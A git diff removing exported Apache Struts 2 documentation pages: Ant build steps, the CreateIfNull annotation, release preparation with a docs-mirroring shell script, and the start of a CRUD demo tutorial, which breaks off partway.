-<p>This minimal Struts 2 configuration file tells the framework that if the URL ends in index.action to redirect the browser to index.jsp.</p>
-
-<p>For more information about the struts.xml configuration file see <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=XML&amp;linkCreation=true&amp;fromPageId=14811863">XML</a>.</p>
-
-<h3 id="CreateStruts2WebApplicationWithArtifactsInWEB-INFlibandUseAntToBuildTheApplication-Step7-BuildandRuntheApplication">Step 7 - Build and Run the Application</h3>
-<p>With all of the above in place run the Ant target that creates the war file (in the example download that target is archive).  Remove the previously created war file and exploded web application folder from your Servlet container's webapps folder.  Copy to your Servlet container's webapps folder the new war you just created.  </p>
-
-<p>Start up the Servlet container.  View the console where you should see numerous debug messages that tell you the Struts 2 framework is being included in the Basic_Struts2_Ant web application.</p>
-
-<p>Open a web browser and go to <a shape="rect" class="external-link" href="http://localhost:8080/Basic_Struts2_Ant/index.action" rel="nofollow">http://localhost:8080/Basic_Struts2_Ant/index.action</a> (note that's index.action not index.jsp at the end of the URL).  You should see the same web page as when going to <a shape="rect" class="external-link" href="http://localhost:8080/Basic_Struts2_Ant/index.jsp" rel="nofollow">http://localhost:8080/Basic_Struts2_Ant/index.jsp</a>.  View the  [...]
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts 2 Log Messages</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-com.opensymphony.xwork2.DefaultActionProxy.debug:57 - Creating an DefaultActionProxy for namespace / and action name index
-...
-org.apache.struts2.dispatcher.ServletDispatcherResult.debug:57 - Forwarding to location /index.jsp
-</pre>
-</div></div>
-<p>Note that the xwork2 artifact is one of the Jar files we copied over to WEB-INF lib and is used heavily by the Struts 2 framework.</p>
-
-<h3 id="CreateStruts2WebApplicationWithArtifactsInWEB-INFlibandUseAntToBuildTheApplication-GettingHelp">Getting Help</h3>
-<p>The <a shape="rect" class="external-link" href="http://struts.apache.org/mail.html">Struts 2 user mailing list</a> is an excellent place to get help.  If you are having a problem getting this Basic Struts 2 application to work search the Struts 2 mailing list.  If you don't find an answer to your problem, post a question on the mailing list.  </p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Next </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Onward to <a shape="rect" href="hello-world-using-struts-2.html">Hello World Using Struts 2</a> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prev </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Return to <a shape="rect" href="tutorials.html">Tutorials</a> </p></td>< [...]
-
-</div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/createifnull-annotation.html b/content/docs/createifnull-annotation.html
deleted file mode 100644
index ebeb8f5..0000000
--- a/content/docs/createifnull-annotation.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>CreateIfNull Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="createifnull-annotation.html">CreateIfNull Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">CreateIfNull Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13971">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13971">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13971">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13971">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13971">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13971">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Sets the CreateIfNull for type conversion.</p>
-
-<h2 id="CreateIfNullAnnotation-Usage">Usage</h2>
-
-<p></p><p>The CreateIfNull annotation must be applied at field or method level.</p>
-
-<h2 id="CreateIfNullAnnotation-Parameters">Parameters</h2>
-
-<p><table summary=""><thead><tr><th colspan="1" rowspan="1">Parameter</th><th colspan="1" rowspan="1">Required</th><th colspan="1" rowspan="1">Default</th><th colspan="1" rowspan="1">Description</th></tr></thead><tbody><tr><td colspan="1" rowspan="1">value</td><td colspan="1" rowspan="1">no</td><td colspan="1" rowspan="1">false</td><td colspan="1" rowspan="1">The CreateIfNull property value.</td></tr></tbody></table></p>
-
-<h2 id="CreateIfNullAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@CreateIfNull( value = true )
-private List&lt;User&gt; users;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/creating-and-signing-a-distribution.html b/content/docs/creating-and-signing-a-distribution.html
deleted file mode 100644
index 2b17d0f..0000000
--- a/content/docs/creating-and-signing-a-distribution.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Creating and Signing a Distribution</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Creating and Signing a Distribution</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26375">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26375">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26375">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26375">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26375">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26375">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="CreatingandSigningaDistribution-Howtoprepareanormalrelease?">How to prepare a normal release ?</h1>
-<ul><li>create a Version Notes page and start adding important changes to it</li><li>create a filter in JIRA with Fix Version pointing to the release version you want to prepare</li><li>review JIRA issues and re-organise them, move the Fix Version to the next release or Future, mark what should be solved in the release you're working on</li><li>update the Draft Docs page - build project locally, upload struts2-assembly-docs.zip to people.a.o and move the content to /www/struts.apache.org [...]
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>#!/bin/sh
-
-wget -erobots=off -nH -nv -E -L --directory-prefix=cwiki --no-check-certificate -r https://cwiki.apache.org/WW/
-
-rm -r /www/struts.apache.org/2.x/docs/*
-mv cwiki/WW/* /www/struts.apache.org/2.x/docs/
-
-chmod -R g+w /www/struts.apache.org/2.x/docs/
-chown -R :struts /www/struts.apache.org/2.x/docs/
-
-rm -r cwiki
-</pre>
-</div></div></li></ul>
-
-
-<h1 id="CreatingandSigningaDistribution-Howtoprepareafasttrackrelease?">How to prepare a fast track release ?</h1>
-<ul><li>keep all the informations confidential as possible, communicate throughout security@struts.a.o group</li><li>restrict access to all the related pages created in Confluence to struts-committers group only, they can be made public available after fix or workaround was released</li></ul>
-
-
-<h1 id="CreatingandSigningaDistribution-Whatdoyouwanttobuild?">What do you want to build ?</h1>
-<p>Depends on what you want to achieve, please select topic from the list below:</p>
-<ul><li><a shape="rect" href="one-time-steps.html">One time steps</a> - before you start preparing a distribution</li><li><a shape="rect" href="sample-announcements.html">Sample announcements</a> - announcements used to communicate the achievement</li><li><a shape="rect" href="building-struts-master.html">Building Struts Master</a> - how to release Struts Master</li><li><a shape="rect" href="building-struts-annotations.html">Building Struts Annotations</a> - when you want to prepare a ne [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/crud-demo-i.html b/content/docs/crud-demo-i.html
deleted file mode 100644
index 8e6d6b3..0000000
--- a/content/docs/crud-demo-i.html
+++ /dev/null
@@ -1,602 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>CRUD Demo I</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="crud-demo-i.html">CRUD Demo I</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">CRUD Demo I</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14178">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14178">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14178">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14178">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14178">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14178">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="CRUDDemoI-Struts2CRUDExample">Struts 2 CRUD Example</h1>
-
-<rich-text-body><p>Due to the export of the wiki to static pages, attachements are not visible. You can find the .war with the source <a shape="rect" class="external-link" href="crud-demo-i.data/struts-crud.war" rel="nofollow">here</a></p></rich-text-body>
-
-<h2 id="CRUDDemoI-Introduction">Introduction</h2>
-
-<p>Welcome to the Struts 2 (S2) CRUD Example. This example was created to be as simple as possible and as such, it does not use all of the advanced (integration) features such as Spring IoC, Hibernate Open-session-in-view, OS Sitemesh, annotations, etc .. For these and other examples, please refer to the <a shape="rect" href="guides.html">Struts 2 Guides</a>.</p>
-
-<h2 id="CRUDDemoI-Struts2">Struts 2</h2>
-
-<p>Struts 2 is a traditional MVC2 action-based framework (such as Struts 1, Stripes, Simple, ..) as opposed to the newer event-based frameworks (such as JSF, Wicket, Rife, ..). Struts 2 uses XWork under the hood, a command-pattern based framework that handles conversion, validation, interception, and a lot more. Struts 2 is based on WebWork, which was originally started as an effort to overcome some problems with Apache Struts 1.</p>
-
-<h3 id="CRUDDemoI-.warlayout">.war layout</h3>
-
-<p>The .zip file you can download on this site can be dropped in your servlet container (rename it to .war then) and contains the source code under the WEB-INF directory. The layout is also kept as simple as possible:</p>
-<plain-text-body>
-- struts-crud
--- [css] (contains the stylesheets)
--- [WEB-INF]
----- [classes] (contains the compiled src files)
----- [lib] (contains the dependencies)
----- [jsp] (contains the view pages)
----- [src] (contains the source files)
----- web.xml (our webapplication descriptor)
--- index.html (simple redirect page)
-</plain-text-body>
-
-<h3 id="CRUDDemoI-Configurationfiles">Configuration files</h3>
-
-
-<h4 id="CRUDDemoI-WEB-INF/web.xml">WEB-INF/web.xml</h4>
-
-<p>The webapplication's descriptor file contains one filter and its mapping. By default, the filter is mapped to /*, meaning all requests will be intercepted, but only those ending with a specific suffix (.action, by default) and certain special paths (for static files) will be processed and handled by Struts 2.</p>
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;web-app&gt;
-    &lt;display-name&gt;Struts 2 CRUD Demo&lt;/display-name&gt;
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts&lt;/filter-name&gt;
-        &lt;filter-class&gt;org.apache.struts2.dispatcher.FilterDispatcher&lt;/filter-class&gt;
-    &lt;/filter&gt;
-
-    &lt;filter-mapping&gt;
-        &lt;filter-name&gt;struts&lt;/filter-name&gt;
-        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-    &lt;/filter-mapping&gt;
-&lt;/web-app&gt;
-</plain-text-body>
-
-<p>See <a shape="rect" href="webxml.html">web.xml</a> for further details.</p>
-
-<h4 id="CRUDDemoI-WEB-INF/classes/struts.xml">WEB-INF/classes/struts.xml</h4>
-
-<p>struts.xml contains the configuration for XWork: actions, validation, interceptors and results are defined in there.<br clear="none">
-To understand these terms, we'll need to take a look at Struts 2's (and XWork's) architecture. A basic request goes a bit like this:<br clear="none">
-A request is submitted, and our ActionMapper will try to determine the correct Action to execute. To find it, it will look up the registered names in your struts.xml. If one is found, before executing the Action, it will loop through a defined stack of interceptors.</p>
-
-<plain-text-body>{float:right|width=200px}
-  {tip:title=Developer Info}
-    [Learn More About Interceptors|Interceptors]
-
-    [Learn About the Parameters Interceptor|Parameters Interceptor]
-  {tip}
-{float}</plain-text-body>
-
-<p>Interceptors are a very important part of S2 - they will be invoked before and after your action is executed and the view is rendered, and as such, they are perfect for validation, authentication, open-session-in-view patterns, catching exceptions, setting or altering parameters, hiding complex operations, and more. S2 provides a number of prebuilt stacks with a ranging number of features, but nothing keeps you from defining your own interceptor stack with custom interceptors.</p>
-
-<p>One of the most practical interceptors is the 'params' interceptor. It will translate your request parameters to set them on your action. Thus, if your action had a setName(String), and one of your request parameters is called 'name', then WW will set the name for you. Not so special, you say ? Ok, how about setId(Long id) ? This will work just fine as long as your id parameter value can be converted to a Long. Still not special enough ? How about submitting a parameter named empolyee [...]
-
-<p>An important aspect of a framework is validation. Adding validation can be a slow and complex process - not to mention the user feedback when something goes wrong. As we think you shouldn't reinvent the wheel, so S2 has a loosely coupled validation framework which you'll see this in action when you try to insert or update an Employee.</p>
-
-<p>Now, when an Action is executed, the result will be used to control the flow - these simple Strings ("success", "error", "input", ..) will be used to invoke a certain Result - this Result can be a dispatcher to a JSP file, render a Freemarker template, generate a chart, output xml, you name it. And, it's totally independend from your Action. Note when validation fails, the result will be by default "input".</p>
-
-<p>Now, as soon as the result is rendered/dispatched/executed/.. WW will loop through the interceptors again in reverse order - which is perfect for cleaning up resources, logging, timing, .. etc.</p>
-
-<p>Let us take a more detailed look at our <a shape="rect" href="strutsxml.html">struts.xml</a>:</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;struts&gt;
-    &lt;!-- Configuration for the default package. --&gt;
-    &lt;package name="default" extends="struts-default"&gt;
-
-        &lt;!-- Default interceptor stack. --&gt;
-        &lt;default-interceptor-ref name="paramsPrepareParamsStack"/&gt;
-        
-        &lt;action name="index" class="com.aurifa.struts2.tutorial.action.EmployeeAction" method="list"&gt;
-            &lt;result name="success"&gt;/WEB-INF/jsp/employees.jsp&lt;/result&gt;
-            &lt;!-- we don't need the full stack here --&gt;
-            &lt;interceptor-ref name="basicStack"/&gt;
-        &lt;/action&gt;
-
-        &lt;action name="crud" class="com.aurifa.struts2.tutorial.action.EmployeeAction" method="input"&gt;
-            &lt;result name="success" type="redirect-action"&gt;index&lt;/result&gt;
-            &lt;result name="input"&gt;/WEB-INF/jsp/employeeForm.jsp&lt;/result&gt;
-            &lt;result name="error"&gt;/WEB-INF/jsp/error.jsp&lt;/result&gt;
-        &lt;/action&gt;
-    &lt;/package&gt;
-&lt;/struts&gt;
-</plain-text-body>
-
-<p>There are four major elements covered in this example: package, interceptor, action, and result.</p>
-
-<p>Packages are a way to group actions, results, result types, interceptors, and interceptor-stacks into a logical configuration unit. Conceptually, packages are similiar to objects in that they can be extended and have individual parts that can be overridden by "sub" packages. See <a shape="rect" href="package-configuration.html">Package Configuration</a> for further details.</p>
-
-<p>Interceptors allow you to define code to be executed before and/or after the execution of an Action method. For now, we will configure our example to use the {{paramsPrepareParamsStack }} interceptor stack; you can ignore this for now. See <a shape="rect" href="interceptor-configuration.html">Interceptor Configuration</a> for further details.</p>
-
-<p>The action mappings are the basic "unit-of-work" in the framework. Essentially, the action maps an identifier to a handler class. When a request matches the action's name, the framework uses the mapping to determine how to process the request.</p>
-
